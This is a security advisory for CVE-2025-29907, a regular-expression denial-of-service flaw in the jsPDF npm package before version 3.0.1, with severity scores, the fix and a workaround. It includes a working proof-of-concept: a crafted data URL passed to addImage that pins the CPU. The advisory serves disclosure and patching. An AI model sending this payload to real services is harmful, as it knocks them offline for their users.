logo

CVE-2025-29907 jspdf

Package

Manager: npm
Name: jspdf
Vulnerable Version: >=0 <3.0.1

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:U/RC:R

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00239 pctl0.46906

Details

jsPDF Bypass Regular Expression Denial of Service (ReDoS) ### Impact User control of the first argument of the `addImage` method results in CPU utilization and denial of service. If given the possibility to pass unsanitized image urls to the `addImage` method, a user can provide a harmful data-url that results in high CPU utilization and denial of service. Other affected methods are: `html`, `addSvgAsImage`. Example payload: ```js import { jsPDF } from "jpsdf" const doc = new jsPDF(); const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined'; const startTime = performance.now() try { doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW"); } catch (err) { const endTime = performance.now() console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`) } doc.save("a4.pdf"); ``` ### Patches The vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1 ### Workarounds Sanitize image urls before passing it to the `addImage` method or one of the other affected methods. ### Credits Researcher: Aleksey Solovev (Positive Technologies)

Metadata

Created: 2025-03-18T21:07:47Z
Modified: 2025-03-19T05:58:35Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-w532-jxjh-hjhj/GHSA-w532-jxjh-hjhj.json
CWE IDs: ["CWE-400", "CWE-770"]
Alternative ID: GHSA-w532-jxjh-hjhj
Finding: F002
Auto approve: 1